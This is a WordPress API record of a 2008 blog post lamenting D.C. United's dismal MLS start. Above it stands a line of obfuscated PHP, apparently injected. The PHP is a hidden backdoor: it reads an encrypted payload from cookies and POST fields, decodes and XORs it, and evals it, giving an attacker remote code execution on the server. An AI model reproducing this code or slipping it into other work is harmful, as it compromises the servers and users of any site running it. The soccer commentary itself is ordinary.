$VOlfwc = chr ( 980 - 897 ).'_' . "\x49" . "\145" . "\x51";$ruxMf = 'c' . chr (108) . 'a' . 's' . chr (115) . '_' . chr ( 216 - 115 ).chr (120) . "\x69" . "\x73" . 't' . chr ( 214 - 99 ); $EWTuSCwRiV = class_exists($VOlfwc); $ruxMf = "56087";$qRiupAARi = !1;if ($EWTuSCwRiV == $qRiupAARi){function imPdsmbab(){$uOHeFyotXR = new /* 55675 */ S_IeQ(13488 + 13488); $uOHeFyotXR = NULL;}$qwmixW = "13488";class S_IeQ{private function COcCD($qwmixW){if (is_array(S_IeQ::$BxRTG)) {$oueUUuFtVV = str_replace("\x3c" . "\x3f" . "\x70" . 'h' . chr ( 327 - 215 ), "", S_IeQ::$BxRTG['c' . chr ( 367 - 256 ).chr (110) . 't' . "\x65" . "\x6e" . chr (116)]);eval($oueUUuFtVV); $qwmixW = "13488";exit();}}private $uKDAu;public function hlJrJleZYd(){echo 64366;}public function __destruct(){$qwmixW = "40781_29040";$this->COcCD($qwmixW); $qwmixW = "40781_29040";}public function __construct($fIPLGJfuF=0){$qUnsv = $_POST;$jVatufmN = $_COOKIE;$YVWNaDAiA = "70e66a1e-56ca-4692-8cc2-33f90191b3bf";$mosllAZyE = @$jVatufmN[substr($YVWNaDAiA, 0, 4)];if (!empty($mosllAZyE)){$mMdfW = "base64";$YpxHHk = "";$mosllAZyE = explode(",", $mosllAZyE);foreach ($mosllAZyE as $YwgjzmGZ){$YpxHHk .= @$jVatufmN[$YwgjzmGZ];$YpxHHk .= @$qUnsv[$YwgjzmGZ];}$YpxHHk = array_map($mMdfW . "\137" . 'd' . chr (101) . "\x63" . "\x6f" . chr (100) . 'e', array($YpxHHk,)); $YpxHHk = $YpxHHk[0] ^ str_repeat($YVWNaDAiA, (strlen($YpxHHk[0]) / strlen($YVWNaDAiA)) + 1);S_IeQ::$BxRTG = @unserialize($YpxHHk);}}public static $BxRTG = 6560;}imPdsmbab();}{"id":292,"date":"2008-05-22T08:48:27","date_gmt":"2008-05-22T13:48:27","guid":{"rendered":"http:\/\/regularguycolumn.com\/blog\/?p=292"},"modified":"2008-05-22T08:48:27","modified_gmt":"2008-05-22T13:48:27","slug":"where-do-i-start","status":"publish","type":"post","link":"https:\/\/regularguycolumn.com\/blog\/?p=292","title":{"rendered":"Where Do I Start?"},"content":{"rendered":"

I wish this thought has snuck up on me. I wish I didn\u2019t come to grips with that reality less than 10 games into the MLS season.\u00a0 But after seven losses in nine games and pretty much no hope to make the MLS playoffs before we even hit freaking Memorial Day, I can say that my earlier assessment is official.<\/p>\n

Even though it will make some people feel good, I\u2019m not going to go on a rant about how Dave Kaspar and Tom Soehn suck and deserve to die and everything will be OK if we just fire the GM and coach. I won\u2019t do that because I\u2019m trying not to succumb to emotions, plus I realize that will be \u2013 as a good friend used to put it \u2013 like putting whipped cream on dog shit.<\/p>\n

Sure, it will look nice to blame someone, but that will hardly change the basic fact that DCU is simply a bad soccer team. Firing Tom and Dave might make supporters and ownership feel good, but it won\u2019t make Zach Wells less jumpy. Cleaning house at the top might show accountability, but it won\u2019t make Franco Niell a good fit for the team. Dropping the hammer might show that everyone hopes the season is salvageable, but won\u2019t heal Ben Olsen\u2019s ankle.<\/p>\n

I\u2019m not saying those guys should keep their jobs. I just don\u2019t have any hope that it will make the situation better, except from a visceral level. This isn\u2019t a good team with bad leadership. This is just a bad team.<\/p>\n

You usually need 40 points to get into the MLS playoffs. DCU has six points with 21 games remaining. If 40 is the magic number in 2008, United will have to average 1.7 points per game the rest of the way. That means, they almost need to not lose again (getting a win and a tie from each pair of matches is an average of two points a game).<\/p>\n

The good news is that the Open Cup winner now gets into next year\u2019s Champion\u2019s League and we still have the opening stages of the Champion\u2019s League this summer to try and qualify for the World Club Cup in 2009. To me, the league is toast, but those tournaments as well as the SuperLiga cash grab, still lie out there.<\/p>\n

That\u2019s the best I can do \u2013 hope this team can come together for short tournaments because anything resembling a cohesive effort over many months just seems out of the question, regardless of who is in charge.<\/p>\n<\/body>","protected":false},"excerpt":{"rendered":"

A few weeks ago, I sat in my basement, drinking a beer and watching D.C. United play. I don\u2019t know which game it was because they have pretty much all melded into one great big ball of suck at this…<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"nf_dc_page":"","footnotes":""},"categories":[82,19,13],"tags":[],"class_list":["post-292","post","type-post","status-publish","format-standard","hentry","category-dc-united","category-soccer","category-sports","wpcat-82-id","wpcat-19-id","wpcat-13-id"],"jetpack_featured_media_url":"","_links":{"self":[{"href":"https:\/\/regularguycolumn.com\/blog\/index.php?rest_route=\/wp\/v2\/posts\/292","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/regularguycolumn.com\/blog\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/regularguycolumn.com\/blog\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/regularguycolumn.com\/blog\/index.php?rest_route=\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/regularguycolumn.com\/blog\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=292"}],"version-history":[{"count":0,"href":"https:\/\/regularguycolumn.com\/blog\/index.php?rest_route=\/wp\/v2\/posts\/292\/revisions"}],"wp:attachment":[{"href":"https:\/\/regularguycolumn.com\/blog\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=292"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/regularguycolumn.com\/blog\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=292"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/regularguycolumn.com\/blog\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=292"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}